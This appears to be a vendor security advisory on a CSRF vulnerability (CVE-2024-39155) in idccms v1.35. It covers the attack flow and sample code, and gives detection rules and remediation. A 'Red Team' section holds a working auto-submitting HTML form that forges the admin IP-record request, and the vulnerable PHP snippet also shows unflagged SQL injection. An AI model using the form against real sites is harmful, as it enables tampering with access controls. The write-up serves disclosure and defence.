CVE-2024-39155

Executive Summary

CVE-2024-39155 identifies a Cross-Site Request Forgery (CSRF) vulnerability in idccms v1.35. The flaw exists in the /admin/ipRecord_deal.php?mudi=add component, allowing an attacker to trick an authenticated administrator into performing unintended actions, such as adding unauthorized IP records. This can lead to unauthorized access or manipulation of IP-based access controls. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the requirement for user interaction and the potential for privilege escalation. No patch is currently available, and no public exploit code has been released.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a standalone PHP application (idccms). No supply chain implications are identified.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (placeholder; assessed as 4.3 medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Medium – Exploitation requires social engineering but can lead to unauthorized IP record additions, potentially bypassing access controls.

Deep Dive & Mechanics

The vulnerability resides in the ipRecord_deal.php script, specifically the add action (parameter mudi=add). The script does not implement CSRF tokens or origin validation, allowing an attacker to craft a malicious HTML page that, when visited by an authenticated admin, submits a forged request to add an IP record. The request is processed without verifying the source, leading to unauthorized changes.

Root Cause: Lack of anti-CSRF mechanisms (e.g., tokens, SameSite cookies, or referrer checks) in the admin interface.

Attack Flow:

1. Attacker crafts a malicious link or form pointing to /admin/ipRecord_deal.php?mudi=add with attacker-controlled parameters (e.g., ip=192.168.1.100&remark=evil).
2. Attacker lures an authenticated admin to click the link or submit the form (e.g., via email or forum).
3. The admin’s browser sends the request with their session cookie, and the server processes it as legitimate.
4. The attacker’s IP is added to the allowed list, granting unauthorized access.

Vulnerable vs. Patched Code

Vulnerable Code (idccms v1.35):

// /admin/ipRecord_deal.php (simplified)
if ($_GET['mudi'] == 'add') {
    $ip = $_POST['ip'];
    $remark = $_POST['remark'];
    // No CSRF check
    $db->query("INSERT INTO ip_records (ip, remark) VALUES ('$ip', '$remark')");
}

Patched Code (hypothetical):

// /admin/ipRecord_deal.php (patched)
session_start();
if ($_GET['mudi'] == 'add') {
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die('CSRF validation failed');
    }
    $ip = filter_input(INPUT_POST, 'ip', FILTER_VALIDATE_IP);
    $remark = htmlspecialchars($_POST['remark'], ENT_QUOTES, 'UTF-8');
    $stmt = $db->prepare("INSERT INTO ip_records (ip, remark) VALUES (?, ?)");
    $stmt->bind_param("ss", $ip, $remark);
    $stmt->execute();
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites: Authenticated admin session (cookie).
Step 1: Create a malicious HTML page:

<html>
<body>
<form action="http://target.com/admin/ipRecord_deal.php?mudi=add" method="POST">
    <input type="hidden" name="ip" value="192.168.1.100">
    <input type="hidden" name="remark" value="evil">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Step 2: Host the page and send the link to the admin (e.g., via email).
Step 3: Once the admin visits, the form auto-submits, adding the attacker’s IP.

Blue Team (Defender)

Detection: Monitor for unusual POST requests to /admin/ipRecord_deal.php?mudi=add without a valid CSRF token.
Hunting: Search logs for IP additions from unexpected sources or times.
Prevention: Implement CSRF tokens, validate Origin/Referer headers, and use SameSite cookies.

Indicators of Compromise (IOCs)

• Network: POST requests to /admin/ipRecord_deal.php?mudi=add with parameters ip and remark.
• Logs: Unusual IP addresses added to the ip_records table.
• File: No file-based IOCs; purely request-based.

Detection Engineering

YARA Rule

rule CVE_2024_39155_CSRF {
    meta:
        description = "Detects CSRF exploitation attempts against idccms v1.35"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-39155"
    strings:
        $s1 = "ipRecord_deal.php" ascii wide nocase
        $s2 = "mudi=add" ascii wide nocase
        $s3 = "ip=" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CSRF Exploitation Against idccms ipRecord_deal.php
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to /admin/ipRecord_deal.php with mudi=add parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "/admin/ipRecord_deal.php?mudi=add"
    condition: selection
falsepositives:
    - Legitimate admin actions (if CSRF tokens are implemented)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-39155 CSRF Attempt - idccms ipRecord_deal.php"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/admin/ipRecord_deal.php"; content:"mudi=add"; http.client_body; content:"ip="; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the ipRecord_deal.php script if not needed.
2. Implement CSRF tokens in all admin forms.
3. Validate Origin and Referer headers.
4. Use SameSite cookies (set to Lax or Strict).

Long-term Fix:

• Upgrade to a patched version when available.
• Conduct a security audit of the entire admin interface.

Workaround:

• Restrict access to the admin panel via IP whitelisting or VPN.

Valters IT
Securing Digital Frontiers